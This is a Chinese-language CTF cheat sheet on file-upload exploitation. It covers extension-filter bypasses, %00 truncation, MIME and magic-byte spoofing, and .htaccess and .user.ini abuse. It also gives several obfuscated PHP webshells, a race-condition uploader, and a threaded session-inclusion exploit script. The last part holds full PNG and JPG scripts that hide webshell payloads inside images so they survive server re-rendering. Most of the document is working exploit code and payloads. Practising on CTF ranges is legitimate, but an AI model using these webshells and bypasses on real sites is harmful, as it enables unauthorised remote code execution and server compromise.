前端校验

前端校验一般都是检查后缀名,可以先上传正常后缀文件,后通过bp等抓包工具修改。
一些简单题可能关掉js直接传一句话木马即可,接下来是前后端都有检验的情况

检查文件后缀名

各类名字

1
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.swf

注意phtml上传后要访问的是.html

大小写绕过

1
.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf

空格绕过

若没有使用trim()去除空格,可以使用空格绕过黑名单
muma.php``

点号绕过

若没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过
muma.php``.

特殊字符::$DATA绕过

若没有对::$DATA进行过滤,则可以在文件名后加该字符串绕过

php在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名 他的目的就是不检查后缀名。

双写绕过

若使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空,则可以双写绕过

str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)

例如a.pphphp

%00截断

需要php版本<5.3.4,并且magic_quotes_gpc关闭
php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
请注意GET和POST的方法略有区别

例题upload-labs pass-12,13:
PASS12(GET方法):可控上传路径情况下,设置上传路径为upload/a.php%00,上传文件后缀为12.png,保存后为/upload/a.php%00*.png,但服务端读取到%00时会自动结束,将文件内容保存至a.php中
PASS13(POST方法):同上,但POST不会像GET那样对%00进行自动解码。不能直接添加%00,所以要在HEX处添加一个00

检查文件类型(MIME)

保证Content-Type符合要求:
text/html(HTML 文档)
text/plain(纯文本)
image/gif(GIF 图像)
image/jpeg(JPG 图像)
image/png (PNG 图像)

检查文件内容

文件头

  1. Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
  2. Jpg图片文件包括2字节:FF D8。
  3. Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
  4. Bmp图片文件包括2字节:42 4D。即为 BM。

短标签

  1. <? echo '123';?> #前提是开启配置参数short_open_tags=on
  2. <?=(表达式)?><?php echo (表达式)?> #不需要开启参数设置
  3. <% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
  4. <script language="php">@eval($_REQUEST['a']);</script> #不需要修改参数开关,但是只能在7.0以下可用。

    基础免杀木马

  1. <?=`$_REQUEST[1]`;?> //利用反引号执行系统命令

  2. <?php$$a=$$_REQUEST['a'];$$b=$$_REQUEST['b'];$$a($$b);?>
    //a=system&b=tac ../flagaa.php

  3. <?php $a='syste'.'m';($a)('ls ../'); //拼接
    //把ls ../换成tac ../flagaa.php即可找到flag

  4. 1
    2
    3
    4
    5
    6
    7
    <?php 
    $a = "s#y#s#t#e#m";
    b = explode("#",a);
    $$c = $$b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
    $$c($$_REQUEST[1]);
    ?>
    //c相当于system,给1赋值参数即可
  5. <?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>

  6. <?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>

  7. ?cmd=
    $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
    //数字函数 get传参 abs=system&acos=xxx

骚绕过

  1. 过滤空格可以直接不打空格或者是用换行0d绕过
  2. 过滤[]用{}绕过
  3. 过滤ip地址的.时用数字ip绕过
  4. 过滤()时构造
    <?=`tac ../f*`?>

.htaccess(仅使用于apache)

htaccess 在站点的根目录下面,不是在apache目录下,但是它属于apache的一个配置文件

利用:
先上传.htcaccess,内容如下:
SetHandler application/x-httpd-php
#在当前目录下,所有文件都会被解析成php代码执行
SetHandler application/x-httpd-php .jpg
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
#匹配当前目录下所有jpg文件

1
2
3
<FilesMatch "test.png"> 
SetHandler application/x-httpd-php
</FilesMatch>

#匹配test.png解析为php文件
然后上传对应格式的文件,内容为一句话木马,然后访问即可被当作php文件执行

.user.ini(上传目录必须有php文件存在)

利用点:

1
auto_append_file=filename     //一个相当于在每个php文件尾加上 include(“filename”)

1
auto_prepend_file=filename    //一个相当于文件头加上 include(“filename”)

利用:

  1. //上传.user.ini
    auto_prepend_file=1.png
  2. //上传1.png
    <?=tac /f*?>
  3. //访问index.php(或当前目录下任意php文件)

日志包含(配合ini)

先传.user.ini
然后传图片,内容为:

```<?=include"/var/lo"."g/nginx/access.lo"."g"?>(过滤log关键字时)

最后改UA头为一句话木马,刷新网页即可

这里为什么不能直接传auto_append_file=”/var/lo”.”g/nginx/access.lo”.”g”呢,因为二者语法不同,include是php语法,所以可以用.来连接,而ini的语法不一样不能用.连接字符串会导致报错,所以用图片马作为中介。

条件竞争

有些时候服务器的检查逻辑是先成功上传文件后,再进行检查,不符合要求再删除该文件,那么当我们频繁发包上传php木马文件,并且同时频繁访问该文件,则有机会成功命令执行
利用方式:BP上传木马包传intruder爆破,并同时爆破访问
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
这个木马可以创建一个php文件并写入木马,这样就可以保证木马被传入上去,因为删除的是这个创建php的木马,而不会删除已上传的木马文件Tony.php

1
2
3
4
5
6
7
8
#不断请求
import requests
url = "http://xxx.xxx.xxx.xxx/upload/Tony.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break

session包含+条件竞争

当我们没有文件可以用来进行包含时,可以尝试利用session.upload_progress将恶意语句写入session文件,从而包含session文件。
前提:session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import threading


# ctfshow web 162 163
# 这里是先利用.user.ini包含了session文件,然后再不断的往url1的session里放入一句话木马,并不断请求url2去执行命令cat flag
session=requests.session()
sess='nanian233'
url1="https://2299d377-323d-4aa7-8bd0-80ae8bf2ff68.challenge.ctf.show/"
url2="https://2299d377-323d-4aa7-8bd0-80ae8bf2ff68.challenge.ctf.show/upload/index.php"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'nanian233'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
break

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

二次渲染

GIF二次渲染

gif比较简单,可以先传正常gif图上去后再下载下来后比较两张图的数据,没有改变的地方加上木马语句即可。

PNG二次渲染

使用方法:php 脚本.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php

?>
------------------------------------
创建1.png图片成功!
------------------------------------

JPG二次渲染

建议先传正常jpg然后让靶机渲染一次后再下载下来进行脚本添加木马
使用方法:php 脚本.php 需要操作的图片.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

文件下载包含

前提:靶机下载功能的实现代码中有文件包含函数并且能包含我们上传的文件(即可利用该函数)
利用:先成功上传含有木马的文件,然后尝试找到对应下载时触发包含函数的操作点,在此进行命令执行拿到flag

例:ctfshow web166
本题只允许上传zip,并且提供了下载功能,
有些网站的文件下载功能是通过直接include包含然后返回用户来下载的
尝试在zip文件内加入一句话木马,然后在下载时抓包并加入系统命令发现执行成功

参考:
https://www.freebuf.com/articles/web/288430.html
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
https://www.cnblogs.com/Pengj/p/17602181.html
Upload-labs 1-21关 靶场通关攻略(全网最全最完整)